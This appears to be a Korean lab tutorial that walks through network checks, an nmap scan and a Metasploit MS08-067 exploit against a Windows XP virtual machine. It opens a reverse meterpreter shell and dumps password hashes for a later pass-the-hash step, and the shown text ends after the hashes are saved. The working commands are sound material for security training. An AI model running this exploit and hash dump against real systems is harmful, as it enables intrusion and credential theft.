Pass-the-Hash 공격 실습(WinXP, Windows 8)
1) 네트워크 점검
본격적으로 해킹에 들어가기 전에 네트워크 점검부터 해보자
windows 8 과 kali Linux 커맨드 창을 열어 각각의 네트워크 상태(ping test)를 점검한다.
- windows 8(win xp)에는 kali Linux IP 입력
~# ping [kali Linux IP]
windows 8
win xp
다음과 같이 kali Linux의 응답이 오면 네트워크 연결이 양호한 것이다.
다른 결과가 나오면 네트워크 상태를 확인하자
→ 각 가상머신의 설정>네트워크>다음에 연결 됨 NAT network 상태인지 확인
→ 제어판> 네트워크 및 인터넷 > 네트워크 및 공유 센터 > 고급 공유 설정에서 아래 사진과 같이 체크 되어 있는지 확인
- kali Linux에 windows 8 IP 입력
root@kali:~# ping [windows 8 IP]
windows 8에서 처럼 손실없이 모두 응답이 도착했는지 확인한다.
nmap query
root@kali:~# nmap [window 8 IP]
[ port | state | service ]를 통해 sharing과 원격접속에 필요한 포트들이 열린것을 확인할 수 있다.
본격적으로 해킹에 들어가보자
우리는 이미 취약점 분석에서 windows XP 우리 네트워크에서 MS08-067이라는 취약점을 가지고 있다는 것을 확인했다. 그래서 이 시스템을 해킹하고 password hash를 모아보자.
2) Windows XP 에서 패스워드 수집
먼저 칼리리눅스의 커맨드 창을 열고 루트계정으로 진입한 다음 metasploit을 실행시키자
root@kali ~# msfconsole
우리는 이미 2일차에 했던 nessus 취약점 분석을 통해 윈도우xp가 ms08-067 취약점을 가지고 있다는 것을 이미 알고있다.
msf5 > search ms08-067
search 명령어를 통해 알아낸 모듈을 use 명령어로 사용한다.
msf5 > use exploit/windows/smb/ms08_067_netapi
> set payload windows/meterpreter/reverse_tcp_allports
> show options
meterpreter 실행 후, 옵션창을 켜서 현재 세팅을 확인한다.
required에 'yes' 라고 적혀있지만 'current settings'에 세팅이 되어있지 않고 비어있는 것들을 설정해주어야한다.
RHOST(공격할 대상의 IP = WinXP의 IP) LHOST(Local HOST = kali의 IP) 를 설정해주자
> set RHOST [공격할 대상의 IP]
> set LHOST [Local Host IP]
모든 설정을 완료 했으면 실행시켜주자
> run
XP에 대한 미터프리터 세션이 열렸다.
meterpreter > sysinfo
meterpreter > hashdump
sysinfo를 통해 공격 대상에 대한 시스템 정보를 확인할 수 있다.
hashdump를 통해 얻은 hash 값은 text file에 복사하여 desktop에 저장하자! 나중에 또 사용할 것이다.
crtl + shift + c 복사
새 커맨드창을 열고 root 계정 진입
/home/kali/Desktop/ 경로에 [해쉬를 저장할 파일 이름].txt 파일 생성
root@kali ~# nano /home/kali/Desktop/[해쉬를 저장할 파일이름].txt
crtl + shift + v 로 복사한 내용을 붙여넣기 해준다.
crtl + x(나가기), y(수정된 사항 저장) 누른 후 enter를 누른다.
바탕화면에 hashXP.txt 파일이 생성 되었고 파일 내부에 복사한 hash password가 저장되어 있다.